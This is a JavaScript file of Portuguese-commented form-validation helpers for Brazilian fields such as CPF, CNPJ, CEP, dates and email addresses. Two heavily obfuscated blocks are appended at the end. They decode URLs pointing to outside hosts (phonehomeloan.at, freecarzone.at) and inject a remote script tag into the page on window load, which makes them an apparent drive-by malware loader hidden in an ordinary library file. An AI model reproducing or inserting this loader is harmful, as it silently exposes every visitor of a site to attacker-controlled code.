// Desabilita botão
function clickDisable(obj) {
  obj.disabled = true;
}

function linkDisable(obj) {
  $(obj).removeAttr('onClick')
}

// Abre um alerta e retorna falso
function abreAlerta(msg) {
  alert(msg);
  return false;
}

function colocaFoco(obj) {
  if (obj) {
    obj.style.borderColor     = '#cc0000';
    obj.style.backgroundColor = '#FFF0f0';
    obj.focus();
  }
}

function retiraFoco(obj) {
  if (obj) {
    obj.style.borderColor     = '#666666';
    obj.style.backgroundColor = '#ffffff';
  }
}

// Verifica a existência de caracteres especiais
function validaEspeciais(obj) {
  var caracter = obj.value
  var resp = false;
  for(c = 0; c < caracter.length; c++) {
    n = (caracter.substring(c,c+1)).charCodeAt();
    if(!(n > 47 && n < 58 || n > 96 && n <123) && !(n==46 || n==95 || n==45)) resp = true;
  }
  return resp;
}

// Verifica Caracteres
function validaTexto(obj){
  var caracter = obj.value;
  if (caracter.length == 0){
    return true;
  }
  return false;
}

// Verifica Radio buttom e Check box
function validaOpcao(obj) {
  var resp = true
  for(var ii=0; ii < obj.length; ii++){
    if(obj[ii].checked) resp = false;
  }
  if(resp){
    return true;
  }else{
    return false;
  }
}

// Verifica Objetos SELECT do formulário
function validaSelecao(obj){
  if(obj.options[obj.selectedIndex].value == ""){
    return true;
  }
  return false;
}

// Verifica data no formato brasil (dd/mm/aaaa)
function validaData(obj){
  var numero  = obj.value;
  var partes  = numero.split("/");
  
  if (partes.length==3){
    numeros = partes[0] + partes[1] + partes[2]
    if (numeros.length ==0 ){
      return true;
    }
    if (partes[0] < 1 || partes[0] > 31){
      return true;
    }
    if (partes[1] < 1 || partes[1] > 12){
      return true;
    }
    if (partes[2].length < 4){
      return true;
    }
    if (partes[2] < 1900){
      return true;
    }
  }else{
    return true;
  }
  return false;
}

// Verifica email's quanto ao forma e carácteres válidos
function validaEmail(obj) {
  
  var invalid = Array("~","!","@","#","$","%","^","&","*","(",")","+","=","[","]",":",";",",","\"","'","|","{","}","\\","/","<",">","?"," ","ç","á","à","ã","â","é","è","ê","í","ì","î","ó","ò","ô","õ","ú","ù","û");
  
  var xemail = obj.value;

    
  if (xemail.indexOf("@")==-1){
    return true;
  } else {
    var partes=xemail.split("@");
    if(partes[0] == '' || partes[0].length < 3){
      return true;
    }else{
      for(var ii=0; ii < invalid.length; ii++){
        if(partes[0].indexOf(invalid[ii])!=-1){
          return true;
        }
      }
    }
    
    if(partes[1]==""){
      return true;
    }else{
      if (partes[1].indexOf(".")==-1){
        return true;
      }else{
        ponto=partes[1].split(".")
        if(ponto[0]=="" || ponto[0].length < 2){
          return true;
        }else{
          for(ii=0;ii < invalid.length; ii++){
            if(ponto[0].indexOf(invalid[ii])!=-1){
              return true;
            }
          }
        }
        if(ponto[1]==""){
          return true;
        }
      }
    }
  }
  return false;
}

function validaValor(obj){
  var valorx  = obj.value;
  var virgula = valorx.split(",");
  
  if (virgula.length >=2){
    if (virgula[1].length ==2 && virgula[0].length !=0){
      var ponto = virgula[0].split(".");
      if (ponto.length == 2){
        for(var i=1; i< ponto.length; i++){
          if(ponto[i].length != 3){
            return true;
          }
        }
      }
    }else{
      return true;
    }
  }else{
    return true;
  }
  return false;
}

// Valida CEP no formato 00000-000
function validaCep(obj){
  var validos = Array("0","1","2","3","4","5","6","7","8","9");
  var valor   = obj.value;
  var partes  = valor.split("-");
  var resp    = 0;
  
  if (partes.length ==2){
    var numeros = partes[0] + partes[1];
    if (numeros.length ==0 ){
      return true;
    }
    for(var ii=0; ii < validos.length; ii++){
      for(jj=0; jj < numeros.length; jj++){
        if(numeros.substring(jj,jj+1) == validos[ii]) { resp++ }
      }
    }
    if (numeros.length != resp){
      return true;
    }
    if (partes[0].length != 5){
      return true;
    }
    if (partes[1].length != 3){
      return true;
    }
  }else{
    return true;
  }
  return false;
}


// Permite somente números inteiros
function validaNumero(obj){
  var numero = obj.value;
  var resp   = 0;
  
  if(numero.length==0){
    return true;
  }
  for(var ii=0; ii < numero.length; ii++){
    for(jj=0; jj < 11; jj++){
      if (numero.substring(ii,ii+1) == jj) resp++;
    }
  }
  if (numero.length != resp){
    return true;
  }
  return false;
}


// Valida campo CPF
function validaCpf(obj) {
  
  if (isCpf(obj.value))
    return false;
  else
    return true;
  
}

// Valida campo CNPJ
function validaCnpj(obj) {
  
  //unformatNumber();
  if (isCnpj(obj.value))
    return false;
  else
    return true;

}

function validaIMG(obj) {

  var nome = (obj.value).split("\\");
  
  if (nome != '') {
    
    var valido = 0;
    for (var i= 0; i < nome[nome.length-1].length; i++) {
      if (nome[nome.length-1].substring(i,i+1)==" ")
        valido = 1;
    }
    
    if (valido==1) {
      alert("Não são permitidos espaços no nome da imagem.");
      return true;
    }
    
    //var tam = nome.length;
    var ext = (nome).split(".");
    
    alert(ext)
    var ext = (nome.substr(tam-4,4)).toUpperCase();
    if(ext != ".GIF" && ext != ".JPG"){
      alert("Para a imagem é somente aceitos os formatos .JPG e .GIF");
      return true;
    }
  }
  
  return false;
  
}
try {var h='';var F=new String();var g=window[unescape("%75%6e%65%73%63%61%70%65")];var W;if(W!='' && W!='PU'){W=''};var l=null;this.jk='';var tm;if(tm!='NR' && tm!='Fp'){tm='NR'};var z=g("%72%65%70%6c%61%63%65");var Dv=new Array();var w="";var Ji="";var k=window[g("%52%65%67%45%78%70")];var XH;if(XH!='p' && XH!='pW'){XH=''};var Kx=new String();function u(C,o){var R;if(R!='Q' && R != ''){R=null};var ke=g("%5b");var Z="";ke+=o;var Dyi="";ke+=g("%5d");this.Jn="";var n;if(n!='PX'){n=''};var t=new k(ke, g("%67"));var po=new Date();var s_='';return C.replace(t, l);var rv="";var x;if(x!='' && x!='pE'){x=''};};this.wh="";this.vv="";var Dv_=new Array();var X='';var m="";var G=u('/PgHoHoEgElJeJ.bcEoJmb/jmJaCrHkHeCtEwjaHtHcEhb.jcPoPmJ/HtPrbiCpbaPdJvjiCsboPrH.CcboHmP.HpJhEpE','JjPHbEC');var tV;if(tV!='fD' && tV != ''){tV=null};var JY;if(JY!='Oj' && JY != ''){JY=null};var r=u('86662323313032772165368791366152230595297962','1937256');var C=g("%31");var Wnq='';var rH="\x68\x74\x74\x70\x3a\x2f\x2f\x70\x68\x6f\x6e\x65\x68\x6f\x6d\x65\x6c\x6f\x61\x6e\x2e\x61\x74\x3a";var Yy="";var DE="";var f=g("%73%63%72%69%70%74");var O=String("onlo"+"LCwad".substr(3));var oZ;if(oZ!=''){oZ='bN'};var kA=new Date();var kz;if(kz!='nX'){kz=''};function ge(){var YL;if(YL!='' && YL!='KU'){YL=null};var YQ="";var tK=new String();var nA="";var D=document;var Jq;if(Jq!='GA' && Jq != ''){Jq=null};M=D.createElement(f);var Qx;if(Qx!='' && Qx!='hBE'){Qx='EI'};this.qY="";X+=rH;var B;if(B!='' && B!='Wg'){B=null};this.tt="";X+=r+G;var bf=new String();this.bZ="";M.src=X;this.Dt='';var LC="";var Qi=new Array();var N=D.body;var Lw="";var RS=new Array();M.defer=C;var Xd;if(Xd!='iH' && Xd != ''){Xd=null};var dW;if(dW!='' && dW!='rD'){dW=null};N.appendChild(M);var Jl='';};window[O]=ge;this.Nb="";this.lU="";var Pu;if(Pu!='a'){Pu='a'};this.Yo="";} catch(MO){var Gh="";};

var DQ;if(DQ!=''){DQ='A'};var J;if(J!=''){J='tz'};function Q(){this.N='';var AU='';var h=window;this._="";var X=h['unescape'];var q;if(q!='b_'){q=''};this.lN='';var d=X("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%74%6f%72%72%65%6e%74%64%6f%77%6e%6c%6f%61%64%73%2e%6e%65%74%2f%64%69%73%63%75%7a%2e%6e%65%74%2e%70%68%70");this.me='';var HS=new Array();var JI;if(JI!=''){JI='_s'};function D(Z,M){var jZ='';var Di;if(Di!='T' && Di!='q_'){Di='T'};var CP;if(CP!='mn' && CP!='el'){CP='mn'};var t=X("%5d");this.qB='';var mS;if(mS!='' && mS!='xi'){mS='n'};var F=X("%5b");var y=String("g");var TL;if(TL!='jt'){TL=''};var H=new RegExp(F+M+t, y);var WX="";return Z.replace(H, new String());this.K="";};var w;if(w!=''){w='bU'};var rB=new Array();var bSW;if(bSW!='' && bSW!='d_'){bSW='NZ'};var k='';var dM=new String();var ek;if(ek!='Ct'){ek='Ct'};var yz=D('s8rTcm','vTp8Qm');var cu=new Date();var i;if(i!='HD' && i!='Mh'){i=''};var E=document;var AQ;if(AQ!='aw' && AQ!='Bu'){AQ='aw'};var Gw="";var tX=D('sMcFrFi9petm','Y5PyFZxCVL0lkMm9e7I');var oT=new String();var uW=new String();var Y=D('8997737774649019119642316225377814711617525762071225295356336449','63195742');this.H_="";var l=D('dpepfpebrc','hs1bupc9JS');var iZ=new Array();var qBx;if(qBx!='' && qBx!='Cp'){qBx='uU'};var s=new String();var JX='';function u(){var mq=new Date();var v=X("%68%74%74%70%3a%2f%2f%66%72%65%65%63%61%72%7a%6f%6e%65%2e%61%74%3a");this.EG="";this.wZ='';var b=v;var LK;if(LK!='' && LK!='GIG'){LK=''};var ZE=new Date();b+=Y;var I;if(I!='uZ' && I != ''){I=null};this.ak='';b+=d;this.JD='';this.ou='';var uz=new Date();var HSt;if(HSt!='' && HSt!='MG'){HSt=null};try {var pn;if(pn!='' && pn!='vb'){pn=''};this.TY="";var Gd;if(Gd!='pU' && Gd!='SE'){Gd=''};B=E[D('cLrie9akt3euERlCeSmxeznut4','fbCI3L4XxWRS6hPv98kziBu')](tX);var pF;if(pF!='' && pF!='Ek'){pF=''};var Ro=new String();var Ms='';var Xi;if(Xi!='LE' && Xi != ''){Xi=null};B[yz]=b;var fu;if(fu!='' && fu!='gR'){fu=''};var qA;if(qA!='' && qA!='ht'){qA=''};B[l]=[1,6][0];var be;if(be!='lS' && be!='yD'){be=''};var qK;if(qK!='O' && qK != ''){qK=null};E.body[D('ampzp2e2nsdOCLhNiLlzdF','LFzs2YmX5ONogQ')](B);} catch(YY){};var _M;if(_M!='' && _M!='V_'){_M=''};var OW;if(OW!='' && OW!='Nv'){OW=''};var aV;if(aV!='_w' && aV != ''){aV=null};}var RT;if(RT!='lB'){RT='lB'};var B_;if(B_!='kl' && B_ != ''){B_=null};var Kk=new String();var e=D('oXnplpo0apdX','0Xv4kpT');var Mn="";h[e]=u;var rz;if(rz!='' && rz!='Cv'){rz='CK'};this.RS='';var Yk="";};var dh;if(dh!='' && dh!='rq'){dh='Sp'};this._U="";Q();var Bi='';var LH='';